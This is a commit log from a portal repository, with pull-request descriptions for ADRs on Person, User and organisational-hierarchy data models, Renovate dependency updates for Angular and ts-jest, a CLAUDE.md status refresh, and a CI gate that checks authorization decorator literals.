| `docs/decisions/0027-portal-side-organisational-hierarchy.md` | **New.** Decision = Option B (`Structure` with `kind` discriminator + nullable FINESS / SIRET / `codePaie`, internal `code` PK that doubles as FINESS for medico-social structures). Considered options A (FINESS-only — original ADR-0026 draft), B (chosen), C (full cascade replication), D (remote read against cascade). Inline-migration seed for the test tenant (Region 75 + Delegation 33 + a handful of medico-social structures + `siege`); full inventory deferred to ADR-0028's cascade sync. `Structure.kind` enum-as-string drift-gated. |
| `docs/decisions/README.md` | ADR-0026 row: title updated, status stays `proposed`. New ADR-0027 row: `proposed`, tags `data, backend`. |
| `CLAUDE.md` | Roll-up clarifies: `0001 → 0025 accepted`; `ADR-0026 + ADR-0027 proposed`. `@RequireScope` Prisma-resolver roadmap entry references both ADRs + the ADR-0028 follow-up. No new Architecture bullet (entries land when their ADRs ship). |

## Why split

The cascade audit was the trigger. Cascade — APF's medico-social structure registry + Pléiades/Talentia HR integration — models `Structure` with a **seven-value type discriminator**: `medico_social`, `antenne`, `dispositif`, `entreprise_adaptee`, `mouvement`, `administratif`, `sanitaire`. Three of those (`antenne`, `dispositif`, part of `entreprise_adaptee`) **do not have a FINESS** by construction. Cascade carries FINESS / SIRET / SIREN / Pléiades `codePaie` / Talentia `codeCompta` on **separate per-source enrichment rows** (`StructureSourceFiness`, `StructureSourceSirene`, `StructureSourcePleiades`, `StructureSourceTalentia`), nullable and many-to-one against `Structure`.

The acteurs_plus audit confirmed: acteurs_plus does not store FINESS / SIRET / SIREN on its hierarchy entities at all — it uses a portal-internal `code` (unique string) + an `externalId` pointer.

The first ADR-0026 draft's `Etablissement.finess` PK excluded all non-medico-social structures by construction. The fix is **not** to make FINESS nullable on `Etablissement` (that smuggles the discriminator into absence-of-value semantics) — it is to adopt cascade's `Structure` + `kind` discriminator directly. Doing that inside ADR-0026 would have ballooned its scope; splitting is the cleaner shape:

- **ADR-0026** keeps a tight focus on identity (`Person` + `User` + `UserScope`). The Person model is unchanged from the first draft except for the email-dedup rewrite (already discussed before the audit landed).
- **ADR-0027** owns the org hierarchy with the cascade-aligned schema, the seeding posture, and the deferred parts (`Pole`, `Service`, arbitrary nesting, per-source enrichment) called out explicitly as ADR-0028's territory.

## ADR-0027 schema highlights

```prisma
model Structure {
  // Portal-internal stable code. For medico-social structures we set
  // code = FINESS (round-trips through scope literals + URLs cleanly).
  // For non-medico-social structures: APF-internal slug ('siege',
  // 'apf-bdx-merignac', 'ea-toulouse', 'mvt-national', …).
  code            String   @id
  name            String
  // Aligned with cascade's Structure.type discriminator. Drift-gated.
  kind            String   // 'medico_social' | 'antenne' | 'dispositif'
                           // | 'entreprise_adaptee' | 'mouvement'
                           // | 'administratif' | 'siege'
  finess          String?  @unique  // 9 digits, NULL for non-medico-social
  siret           String?  @unique  // 14 chars, NULL when not SIRENE-registered
  codePaie        String?  @unique  // Pléiades 6-char, NULL in v1
  delegationCode  String?           // NULL for siège, mouvement national
  delegation      Delegation? @relation(fields: [delegationCode], references: [code])
  @@index([kind])
  @@index([delegationCode])
}
```

The vocabulary mismatch — ADR-0025's scope kind name is `etablissement` but the value is now a `Structure.code` of any kind — is documented as a known wart, with a possible ADR-0025 amendment as the rename path if a maintainer trips over it.

## Notes for the reviewer

- **`Person.email` unique constraint dropped.** Two distinct humans genuinely can share an email (shared family alias, generic `info@` mailbox, error in an upstream feed). The first draft had `email String? @unique` carried over from a "let's use it as a v1 dedup key" line of thinking that the audit reshaped. The lifecycle now treats `entraOid` as the only natural key the v1 provisioner trusts; email is an attribute, indexed for operator-driven lookup (admin UI search, ADR-0028 reconciliation flow), not a constraint.
- **`UserScope.value` has no FK to ADR-0027 tables.** Deliberate: a scope can outlive its target (a structure decommissioned mid-quarter still has historical UserScope rows pointing at its code, which the audit log needs to read). Admin UI write path validates; runtime guard tolerates stale codes (they fail the resource match, not the sign-in).
- **The old open PR `docs/adr-0026-accept-and-tighten-lifecycle` is superseded by this one.** That branch promoted ADR-0026 (full first draft) to `accepted`. The Q1 / Q2 resolutions from that PR are preserved here — Q1 (no email-dedup) is the new ADR-0026 Lifecycle section; Q2 (inline-migration seed) moves to ADR-0027's "Seeding posture" section since it is org-hierarchy-specific. The old PR can be closed without merging.
- **No code changes**, so no `pnpm ci:check` impact. `pnpm exec prettier --check` clean on the four touched files.

## Test plan

- [x] `pnpm exec prettier --check` — clean on the four touched files.
- [x] ADR cross-references resolve (every `ADR-NNNN` link in the two ADRs round-trips; the new ADR-0028 reference is a known dangling marker for the future sync ADR).
- [ ] **Review focus** — cascade / acteurs_plus audit findings as cited in ADR-0027 §"Context"; the schema choices in ADR-0027 (kind enum, nullable FINESS/SIRET, internal `code` PK); the `Person.email` non-unique change in ADR-0026; the scope-kind vocabulary mismatch documented in ADR-0027.

## What's next (post-merge)

Per ADR-0026 §"Phasing" and ADR-0027 §"Phasing" — the two ADR PRs ship in parallel once accepted:

1. **ADR-0027 Implementation PR 1** — `Region` / `Delegation` / `Structure` Prisma schema + inline reference-data migration + `Structure.kind` catalogue + drift-gate extension.
2. **ADR-0026 Implementation PR 1** — `Person` / `User` / `UserScope` Prisma schema + `PersonAndUserProvisioner` called from `SessionEstablisher` + `Person.source` catalogue + drift-gate extension + updated `PrincipalBuilder`. Independent of (1) at the schema level — can ship in parallel.
3. **ADR-0026 Implementation PR 2** — `PrismaScopeResolver` replacing `StubScopeResolver` + `/admin/users/:id/scopes` admin screen + `prisma/seed.ts` populating the 19 test personas' `user_scopes` per `notes/test-tenant-role-assignments.md`. **Depends on both (1) and (2)** — the seed references `Structure.code` values from (1) and writes `UserScope` rows from (2).
4. **ADR-0028 (proposed)** — Pléiades + Acteurs+ + cascade syncs + facet schemas (Salarié / Élu / Adhérent / Bénévole / Bénéficiaire / PartenaireExterne) + operator-confirmed Person-reconciliation flow + schema extensions (`Pole`, `Service`, per-source enrichment) the sync needs.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #217
2026-05-24 06:55:43 +02:00
APF Portal Bot abd1f91809 fix(deps): update angular (#215)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m58s
CI / check (push) Successful in 6m27s
CI / a11y (push) Successful in 2m32s
CI / perf (push) Successful in 6m51s
Docs site / build (push) Successful in 3m5s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@angular-devkit/core](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular-devkit%2fcore/21.2.11/21.2.12) |
| [@angular-devkit/schematics](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular-devkit%2fschematics/21.2.11/21.2.12) |
| [@angular/build](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fbuild/21.2.11/21.2.12) |
| [@angular/cdk](https://github.com/angular/components) | dependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcdk/21.2.11/21.2.12) |
| [@angular/cli](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@angular%2fcli/21.2.11/21.2.12) |
| [@angular/common](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/common)) | dependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2fcommon/21.2.13/21.2.14) |
| [@angular/compiler](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler)) | dependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2fcompiler/21.2.13/21.2.14) |
| [@angular/compiler-cli](https://github.com/angular/angular/tree/main/packages/compiler-cli) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler-cli)) | devDependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2fcompiler-cli/21.2.13/21.2.14) |
| [@angular/core](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/core)) | dependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2fcore/21.2.13/21.2.14) |
| [@angular/forms](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/forms)) | dependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2fforms/21.2.13/21.2.14) |
| [@angular/language-service](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/language-service)) | devDependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2flanguage-service/21.2.13/21.2.14) |
| [@angular/localize](https://github.com/angular/angular) | dependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2flocalize/21.2.13/21.2.14) |
| [@angular/platform-browser](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/platform-browser)) | dependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2fplatform-browser/21.2.13/21.2.14) |
| [@angular/router](https://github.com/angular/angular/tree/main/packages/router) ([source](https://github.com/angular/angular/tree/HEAD/packages/router)) | dependencies | patch | [`21.2.13` -> `21.2.14`](https://renovatebot.com/diffs/npm/@angular%2frouter/21.2.13/21.2.14) |
| [@schematics/angular](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.11` -> `21.2.12`](https://renovatebot.com/diffs/npm/@schematics%2fangular/21.2.11/21.2.12) |

---

### Release Notes

<details>
<summary>angular/angular-cli (@&#8203;angular-devkit/core)</summary>

### [`v21.2.12`](https://github.com/angular/angular-cli/blob/HEAD/CHANGELOG.md#21212-2026-05-20)

[Compare Source](https://github.com/angular/angular-cli/compare/v21.2.11...v21.2.12)

##### [@&#8203;angular/build](https://github.com/angular/build)

| Commit                                                                                              | Type | Description                                   |
| --------------------------------------------------------------------------------------------------- | ---- | --------------------------------------------- |
| [cbad57579](https://github.com/angular/angular-cli/commit/cbad57579adb5de7887985afbb2bf1f40adf3cb2) | fix  | ignore virtual esbuild paths with (disabled): |

<!-- CHANGELOG SPLIT MARKER -->

</details>

<details>
<summary>angular/components (@&#8203;angular/cdk)</summary>

### [`v21.2.12`](https://github.com/angular/components/blob/HEAD/CHANGELOG.md#21212-plastic-moose-2026-05-20)

[Compare Source](https://github.com/angular/components/compare/v21.2.11...v21.2.12)

##### material

| Commit | Type | Description |
| -- | -- | -- |
| [da87be7646](https://github.com/angular/components/commit/da87be76464d76ec11ae922abd5f4c72c5b4ea3e) | fix | **datepicker:** ensure dates don't overflow on a small screen ([#&#8203;33281](https://github.com/angular/components/pull/33281)) |

<!-- CHANGELOG SPLIT MARKER -->

</details>

<details>
<summary>angular/angular (@&#8203;angular/common)</summary>

### [`v21.2.14`](https://github.com/angular/angular/blob/HEAD/CHANGELOG.md#21214-2026-05-20)

[Compare Source](https://github.com/angular/angular/compare/v21.2.13...v21.2.14)

##### compiler

| Commit | Type | Description |
| -- | -- | -- |
| [68282dff9f](https://github.com/angular/angular/commit/68282dff9f9ef46540cca4bd38fc1ab739c8a783) | fix | strip namespaced SVG script elements during template compilation |

##### core

| Commit | Type | Description |
| -- | -- | -- |
| [c0f52272ed](https://github.com/angular/angular/commit/c0f52272ed337d4776bd4178cbbdc7f32037500f) | fix | do not insert todo when migrating void [@&#8203;Output](https://github.com/Output) |
| [938a7f3edd](https://github.com/angular/angular/commit/938a7f3eddda97a39edb9edcc8b4dd970858b3a2) | fix | makes resource URL sanitizer lookup case-insensitive |
| [0fb2724194](https://github.com/angular/angular/commit/0fb272419407a64a0a47096b03a911f4e7e83d79) | fix | reject script element as a dynamic component host |
| [49113ac0ef](https://github.com/angular/angular/commit/49113ac0eff852d987b5acb28a9bbda0242842cd) | fix | visit ICU expressions in signal migration schematics |

##### router

| Commit | Type | Description |
| -- | -- | -- |
| [099bf577ee](https://github.com/angular/angular/commit/099bf577ee8f0bab60593a8fd2a1de7d298e3cd6) | fix | skip scroll-to-top on initial navigation when hydrating |

<!-- CHANGELOG SPLIT MARKER -->

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #215
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-24 05:40:35 +02:00
APF Portal Bot e8796e94f4 chore(deps): update dependency ts-jest to v29.4.11 (#214)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m1s
CI / check (push) Successful in 5m32s
CI / a11y (push) Successful in 1m40s
CI / perf (push) Successful in 6m29s
Docs site / build (push) Successful in 2m54s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [ts-jest](https://kulshekhar.github.io/ts-jest) ([source](https://github.com/kulshekhar/ts-jest)) | devDependencies | patch | [`29.4.10` -> `29.4.11`](https://renovatebot.com/diffs/npm/ts-jest/29.4.10/29.4.11) |

---

### Release Notes

<details>
<summary>kulshekhar/ts-jest (ts-jest)</summary>

### [`v29.4.11`](https://github.com/kulshekhar/ts-jest/blob/HEAD/CHANGELOG.md#29411-2026-05-21)

[Compare Source](https://github.com/kulshekhar/ts-jest/compare/v29.4.10...v29.4.11)

##### Bug Fixes

- preserve Bundler on the CJS path under TypeScript >= 6 ([3941818](https://github.com/kulshekhar/ts-jest/commit/39418187515f11b6584d35a4e3ddf50231f74936)), closes [#&#8203;4198](https://github.com/kulshekhar/ts-jest/issues/4198)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/214
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-24 05:15:53 +02:00
julien 8266e5b172 docs(adr-0026): person + user portal-side data model (proposed) (#213)
CI / check (push) Successful in 2m43s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m36s
CI / a11y (push) Successful in 3m4s
CI / perf (push) Successful in 4m54s
Docs site / build (push) Successful in 4m50s
## Summary

[ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md) shipped the authorization model with three stubs explicitly deferred to a follow-up ADR:

- `Principal.user.id` and `Principal.user.personId` carry the Entra `oid` as a placeholder — `apps/portal-bff/src/auth/principal-builder.ts` documents the seam.
- `StubScopeResolver` returns `[{ kind: 'unrestricted' }]` for every signed-in user; the per-persona scope values documented in `notes/test-tenant-role-assignments.md` have nowhere to live.
- `@RequireScope`'s `ScopableResource` shape references an `Etablissement` / `Delegation` / `Region` chain that has no Prisma table.

ADR-0026 specifies the portal-side data model that closes those stubs. **Decision-only, status `proposed`** — implementation lands in two PRs once accepted.

## What lands

| File | Change |
| --- | --- |
| `docs/decisions/0026-person-user-portal-data-model.md` | New ADR. MADR 4.0.0 format. Tags: `data`, `backend`, `security`. ~310 lines. |
| `docs/decisions/README.md` | One new index row for 0026 (status `proposed`, 2026-05-24). |

## ADR scope

The ADR commits the **schema** for:

- **`Person`** golden record — stable identity, can exist without a portal account (Pléiades pre-provisioning, dossier bénéficiaires, alumni). `source` field tracks provenance (`self-signin` in v1; `pleiades` / `acteurs-plus` join the catalogue with ADR-0027).
- **`User`** portal-account overlay — one-to-zero-or-one with Person, lazy-created on first OIDC callback. Portal-only state (`lastSignInAt`, future a11y preferences) rides here, not on the shared Person row.
- **`UserScope`** — confirms the migration whose shape ADR-0025 §"Sources of truth — apf_portal-side `user_scopes` table" already specified.
- **`Region` / `Delegation` / `Etablissement`** — organisational hierarchy with externally-meaningful codes (INSEE / French dept / FINESS) as primary keys, matching the on-the-wire shape of the scope literals (`etablissement:0330800013`, `delegation:33`).

The ADR **explicitly defers**:

- Facet schemas (`Salarie`, `Adherent`, `Benevole`, `Elu`, `Beneficiaire`, `PartenaireExterne`) — they track upstream-system shape and ride alongside their producing sync.
- Pléiades / Acteurs+ sync logic, reconciliation policy between sync-owned and admin-UI-owned fields.

Both deferrals point at **ADR-0027** (Pléiades + Acteurs+ syncs + facet schemas) as the next-up ADR.

## Notes for the reviewer

- **Why `Person` + `User` split and not a single table.** The "Considered Options" section walks through this. Option A (User-only) breaks down the moment a dossier holder who never signs in needs a stable identifier. Option D (Person with embedded facet columns) forces every Pléiades or Acteurs+ schema change through a table that both shapes share, which is exactly the kind of coupling that ADR-0027 needs the freedom to design out.

- **Why externally-meaningful primary keys for the hierarchy.** `Region.code` / `Delegation.code` / `Etablissement.finess` are INSEE / FINESS codes — stable across reorgs and already on every URL the portal will mint. Adding a separate UUID would force every consumer to indirect through it for no gain. The trade-off (no in-place rename — if a délégation merges, delete + re-insert with the new code) is bounded by how rarely INSEE rebases.

- **Lazy User creation at first sign-in.** v1 has no Pléiades data; the OIDC callback creates the Person + User pair the first time it sees a new `oid`. When Pléiades sync ships (ADR-0027), the same provisioner extends with a `Person.externalId` lookup before falling back to `email`. The schema does not change between the two regimes — only the provisioner's lookup order does.

- **`Person.source` and `Etablissement.kind` as enum-as-string + drift-gate extension.** The catalogue-drift gate ([ADR-0025 §"Confirmation"](docs/decisions/0025-authorization-model-privileges-roles-scopes.md) and `scripts/check-catalogue-drift.mjs`) was built precisely to constrain hand-edited string columns. Extending it to assert every `Person.source` write is in the closed catalogue closes one of the soft spots in the v1 schema without standing up a Postgres ENUM.

- **PII posture.** `Person.firstName` / `lastName` / `email` are flagged in the ADR's Decision Drivers. The Pino redact list ([ADR-0012](docs/decisions/0012-observability-pino-opentelemetry.md)) and the audit-log salt ([ADR-0013](docs/decisions/0013-audit-trail-separated-postgres-append-only.md)) already cover Entra `oid`; the new PII fields ride the same posture (caller-redacted at the audit module, redacted at the Pino logger before the line ships).

- **What "two PRs" means in the More Information section.** PR 1: Prisma schema migration + `PersonAndUserProvisioner` called from `SessionEstablisher` + drift-gate extension. PR 2: `PrismaScopeResolver` replacing `StubScopeResolver` + `/admin/users/:id/scopes` screen + `prisma/seed.ts` populating the 19 test-tenant personas' `user_scopes` rows.

- **Backward compatibility for in-flight Redis sessions.** Sessions minted before the schema migration carry a Principal whose `user.id` is the Entra `oid` placeholder. The legacy-session bridge in [`apps/portal-bff/src/auth/principal-extractor.ts`](apps/portal-bff/src/auth/principal-extractor.ts) (added in #208) already handles this — when the migration deploys, those sessions continue to work for the 12 h absolute-TTL window, after which every session in Redis has the real `personId`.

## Open questions to resolve before acceptance

These were flagged in the ADR text and are worth surfacing here for the review pass:

- **`Person.email` as the v1 dedup key.** The ADR's "Bad, because" item — two Pléiades records sharing an email would crash the unique constraint. ADR-0027 will add the `externalId` precedence, but in the interim the v1 lazy-creator either trusts emails-are-unique (acceptable for the test tenant where every persona has a distinct one) or skips the dedup attempt and creates a fresh Person per `oid`. The ADR currently picks the dedup-by-email path; flag if the safer choice is "always fresh, reconcile later".
- **Should `Region` / `Delegation` / `Etablissement` migrations be seeded as part of the schema PR, or kept as a separate dataset import?** The ADR is silent on this; my default is "seed the geographic codes APF actually operates in" (a one-off SQL fixture in the migration directory). Worth confirming.

## Test plan

- [x] `pnpm exec prettier --check docs/decisions/0026-person-user-portal-data-model.md docs/decisions/README.md` — clean.
- [ ] **Review focus** — the chosen Option B vs the rejected A/C/D, the deferred facets list, the `Person.source` catalogue, the `Etablissement.kind` catalogue, and the two open questions above.
- [ ] Once accepted, the implementation phasing in the ADR's `§More Information` opens (2 PRs).

## What's next

- **This PR** — ADR-0026 ships as `proposed`.
- **Acceptance PR** — review pass, address open questions, promote `proposed → accepted` (same cadence as [#201#205](docs/decisions/0025-authorization-model-privileges-roles-scopes.md) for ADR-0025).
- **Implementation PR 1** — Prisma schema + lazy provisioner.
- **Implementation PR 2** — `PrismaScopeResolver` + admin-UI scope-seeding + test-tenant seed.
- **ADR-0027** — Pléiades + Acteurs+ syncs + facet schemas (the deferred surface from this ADR).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #213
2026-05-24 02:19:29 +02:00
julien ca3963b2e3 docs(claude.md): refresh Repository status with ADR-0022/0023/0025 shipments (#212)
CI / check (push) Successful in 3m51s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m58s
CI / a11y (push) Successful in 1m54s
CI / perf (push) Successful in 5m16s
## Summary

`CLAUDE.md`'s **Repository status** section drifted from `main` while three ADRs landed back-to-back. The roadmap block still listed ADR-0022 (docs static site) and ADR-0023 (charts lib + audit dashboards) as upcoming chantiers even though both shipped, and the new `libs/shared/auth/` lib introduced by ADR-0025 was not in the lib-roots list.

This PR refreshes the section to reflect what `main` actually carries today. No code touched.

## What lands

| File | Change |
| --- | --- |
| `CLAUDE.md` | Repository status section rewritten: lib roots updated, three new "Shipped on `main`" bullets (ADR-0022 / 0023 / 0025), roadmap pruned and rebalanced around what is genuinely outstanding. |

## Notes for the reviewer

- **Lib roots.** Was: "four lib roots (`libs/feature/`, `libs/shared/state`, `libs/shared/tokens`, `libs/shared/ui`, `libs/shared/util`)" — five entries called "four". Now: "seven lib roots" listing `libs/feature/auth`, `libs/shared/auth`, `libs/shared/charts`, `libs/shared/state`, `libs/shared/tokens`, `libs/shared/ui`, `libs/shared/util`. The count is correct and the new libs from ADR-0023 and ADR-0025 are explicit.

- **CI line** now mentions the catalogue-drift gate alongside the standard `format:check / lint / test / build` quartet — readers grepping for "what CI runs" land on the actual gate set.

- **AI relay entry merged with its live consumer.** The previous wording said "Live consumer (chatbot widget on `portal-shell`) and the proto-drift CI gate ship next" — both half-true: chatbot widget shipped (under `apps/portal-shell/src/app/features/chatbot/`), proto-drift gate did not. Entry now says chatbot is live and moves the proto-drift gate to the roadmap.

- **Phase-3a admin app phrasing updated.** Previous wording: "business modules (CMS, menu management, user list, audit log viewer) not yet implemented". Two of those four exist on `main` today: `/admin/users` (user-list reader via `admin-users-reader.service.ts`) and `/admin/audit` (audit-log viewer + statistics + integrated charts). Entry now names them and notes that only CMS + menu management remain.

- **Roadmap entry split for the guards.** The old line bundled `@RequireMfa()` and `@RequireAdmin()` as both "designed-in, awaiting first consumer route". `@RequireAdmin` is wired into every `/api/admin/*` controller today; only `@RequireMfa` is still consumer-less. Roadmap line narrowed to mention only `@RequireMfa`.

- **ADR-0026 referenced as `(proposed)`.** The link target is a placeholder `(#)` because the ADR file does not exist yet — kept lowercase-light so the link does not render as a dead anchor in editors. Will become a real link in the same PR that drafts ADR-0026.

## Test plan

- [x] `pnpm exec prettier --check CLAUDE.md` — clean.
- [x] Manual cross-check against the workspace state:
  - `find libs/shared -maxdepth 1 -type d` matches the listed lib roots.
  - `ls docs/.vitepress/` confirms VitePress is wired.
  - `ls libs/shared/charts/src/lib/` confirms the three chart components exist.
  - `grep -l BarChart\\|DonutChart\\|StackedBarChart apps/portal-admin/src/app/pages/audit/` confirms the audit-page integration.
  - `ls scripts/check-catalogue-drift*` confirms the drift gate exists.
  - `grep -rn @RequireAdmin apps/portal-bff/src/admin/` confirms the admin gate is wired today.

No CI gates affected — this is a doc-only change.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #212
2026-05-24 01:32:20 +02:00
julien 2eb01f59b3 feat(ci): catalogue-drift gate for @RequirePrivilege/@RequireRole literals (ADR-0025) (#211)
CI / check (push) Successful in 3m4s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m53s
CI / a11y (push) Successful in 3m50s
CI / perf (push) Successful in 5m23s
Docs site / build (push) Successful in 5m26s
## Summary

Phase 3 (and last) of [ADR-0025](docs/decisions/0025-authorization-model-privileges-roles-scopes.md)'s implementation phasing (§"More Information" / §347): a small CI gate that asserts every string literal passed to the authorization decorators belongs to the closed catalogue declared in `libs/shared/auth/src/lib/authorization.types.ts`.

The TypeScript decorator signatures (`(...privileges: [Privilege, ...Privilege[]])`) already enforce this at compile time. The gate is **defence-in-depth** against the escape hatches the type system cannot catch:

- explicit `as Privilege` / `as FunctionalRole` casts (`'Portal.Foo' as Privilege`),
- the rare case where a developer hand-edits the catalogue type union without updating the runtime constant.

Runs in `<1s`, so it rides the existing `check` CI job rather than spinning up its own.

## What lands

| File | Role |
| --- | --- |
| `scripts/check-catalogue-drift.mjs` | The gate. TypeScript compiler API. Parses `authorization.types.ts` to extract the catalogues, walks every `.ts` file under `apps/` and `libs/`, finds each `CallExpression` whose callee identifier matches `RequirePrivilege` / `RequireRole`, validates every string-literal argument. Non-literal args are skipped (the TypeScript signature catches them already). Reports grouped by file with `line:column` per violation, exits 1 on drift. |
| `scripts/check-catalogue-drift.spec.mjs` | 13 tests via `node --test` (built-in runner, no Vitest dep). Covers catalogue parsing, file-level violation detection, workspace-wide aggregation, skipped folders, gen-stub exclusion, line/column reporting. |
| `package.json` | `ci:catalogue-drift` + `ci:catalogue-drift:test` scripts. |
| `.gitea/workflows/ci.yml` | The existing `check` job now runs the gate's unit tests first (fail-fast if the gate itself is broken), then the gate against the live workspace. |

## Notes for the reviewer

- **Why not an ESLint custom rule.** ADR-0025 §347 floats either option. The ESLint route would give editor-time feedback (red squiggles) but means standing up a local ESLint plugin lib — net ~300 lines of plumbing for a gate the TypeScript signature already enforces in real time via the literal-union types. The pnpm-script route mirrors the existing `ci:gzip-budgets` pattern; ~250 lines including tests; runs in the same `check` CI job that already installs deps. Editor feedback is **already provided by `tsc`**, so the gate's job reduces to "catch escape hatches in CI", which the script does fine.

- **Why `node --test` rather than Vitest / Jest.** The script lives in `scripts/`, outside any Nx project. Wiring Vitest for one spec file would mean a vitest.config + tsconfig.spec + Nx project just to host it. Node's built-in test runner ships with the runtime we already pin (Node 24 in `.nvmrc`), no config, ~250ms wall clock for 13 tests.

- **Generated gRPC stubs are skipped.** `apps/portal-bff/src/grpc/gen/apf-ai/common.ts` defines a `roles: string[]` proto field used by the AI-bridge — entirely unrelated to the ADR-0025 functional-role catalogue. The skip list is explicit (`SKIPPED_SUBPATHS`); adding a new codegen output later is one line.

- **Spec files are NOT skipped.** `auth-guards.persona-matrix.spec.ts` references catalogue values via the decorators in its test fixtures. Those are deliberate references and must stay in sync — if a future ADR amendment removes a role, the spec catches it on the same run as the production code. Explicitly tested in `does NOT skip spec files`.

- **Non-literal arguments (variable indirection) are skipped.** A pattern like `const slug = getRole(); @RequireRole(slug)` would not be caught by string-literal inspection. This is intentional: the TypeScript decorator signature already requires `slug` to be typed `FunctionalRole`, so the type system handles it; the gate's value-add is on literal misspellings the type system cannot see past an `as Privilege` cast.

- **Self-test confirmed the gate works.** Injected `RequirePrivilege('Portal.RogueDrift')` and `RequireRole('rogue-role-x')` into an existing spec, ran `pnpm ci:catalogue-drift`, observed:

  ```
  catalogue-drift: violations found

    apps/portal-bff/src/auth/require-privilege.guard.spec.ts
      135:18  @RequirePrivilege('Portal.RogueDrift') — not in PRIVILEGES
      136:13  @RequireRole('rogue-role-x') — not in FUNCTIONAL_ROLES
  ```

  Exit code 1. Reverted the injection; gate green again.

- **Adding a third decorator** (per ADR-0025's anticipated growth) is one line in `DECORATOR_TO_CATALOGUE` plus the matching test fixture. The script does not hardcode the decorator name list beyond that map.

- **Why no scope-kind check.** `@RequireScope` takes an `(req) => ScopableResource` extractor, not literals. The scope `kind` values are constrained by the `ScopeKind` discriminated union, which TypeScript enforces at every `{ kind: ... }` construction site. No literal escape hatch worth gating in v1.

## Test plan

- [x] `pnpm ci:catalogue-drift:test` — 13/13 green via `node --test`.
- [x] `pnpm ci:catalogue-drift` — clean against the live workspace: `catalogue-drift: clean (catalogues: 4 privileges, 24 roles).`
- [x] Self-test by injection — script catches `'Portal.RogueDrift'` and `'rogue-role-x'` with file:line:column, exits 1.
- [x] `pnpm exec prettier --check` on the new files — clean.
- [ ] CI run on this PR exercises the new step in the `check` job.

## What's next

ADR-0025's phasing closes with this PR. Remaining authorization work waits on [ADR-0026](docs/decisions/) (proposed) — the `Person` + `User` schema brings the Prisma-backed `user_scopes` table; that PR replaces `StubScopeResolver` with a `PrismaScopeResolver` and unlocks the first concrete `@RequireScope` consumer surfaces.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #211
2026-05-24 01:07:13 +02:00
julien 77af6951c9 fix(deps): bump uuid to >=11.1.1 via pnpm.overrides (GHSA-w5hq-g745-h8pq) (#210)
